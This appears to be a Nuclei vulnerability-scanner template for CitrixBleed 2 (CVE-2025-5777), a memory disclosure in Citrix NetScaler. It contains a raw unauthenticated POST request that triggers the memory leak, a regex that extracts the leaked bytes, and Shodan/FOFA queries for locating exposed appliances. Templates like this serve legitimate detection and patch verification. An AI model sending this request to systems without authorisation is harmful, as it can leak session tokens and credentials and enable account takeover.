Citrix NetScaler Memory Disclosure - CitrixBleed 2

id: CVE-2025-5777

info:
  name: Citrix NetScaler Memory Disclosure - CitrixBleed 2
  author: watchtowr,DhiyaneshDk,darses
  severity: critical
  description: |
    Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway
  impact: |
    Unauthenticated attackers can trigger memory overread conditions to leak sensitive information from NetScaler memory, potentially exposing session tokens and credentials similar to CitrixBleed.
  remediation: |
    Apply the security patches as described in Citrix support article CTX693420 and restrict access to the NetScaler Management Interface.
  reference:
    - https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX693420
    - https://labs.watchtowr.com/how-much-more-must-we-bleed-citrix-netscaler-memory-disclosure-citrixbleed-2-cve-2025-5777/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-5777
  classification:
    cve-id: CVE-2025-5777
    cwe-id: CWE-457
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    epss-score: 0.99897
    epss-percentile: 0.99964
    cpe: cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:-:*:*:*,cpe:2.3:a:citrix:netscaler_gateway:*:*:*:*:*:*:*:*,cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*,cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:ndcpp:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query:
      - title:"NetScaler Gateway"
      - title:"NetScaler AAA"
      - http.favicon.hash:-1166125415
      - http.favicon.hash:-1292923998
    fofa-query:
      - title="NetScaler Gateway"
      - title="NetScaler AAA"
      - icon_hash="-1166125415"
      - icon_hash="-1292923998"
  tags: cve,cve2025,netscaler,citrix,exposure,kev,vkev,vuln

http:
  - raw:
      - |+
        POST /p/u/doAuthentication.do HTTP/1.0
        Host: {{Hostname}}
        bleed_attack: {{iteration}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Content-Length: 5

        login

    unsafe: true
    payloads:
      iteration:
        - "{{rand_int(1,5)}}"

    extractors:
      - type: regex
        name: iv
        part: body
        group: 1
        regex:
          - '<InitialValue>([^<]{10,})</InitialValue>'
        internal: true

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'len(iv) > 0'
          - 'contains(to_lower(header), "application/vnd.citrix.authenticateresponse")'
          - '!contains(body, "<InitialValue></InitialValue>")'
          - '!contains(to_string(iv), "false")'
          - '!contains(to_string(iv), "true")'
          - '!regex("^[A-Za-z0-9+/=\\s]+$", iv)'
        condition: and
# digest: 490a00463044022059d9f12b84c160fea87b63ab54006777b5a4667d589278b5a76d20f54571d8f702201a25b2fc5f8c3031aad661c1a37720ea19ceb8b775c72a21b5744331a555a936:922c64590222798bb761d5b6d8e72950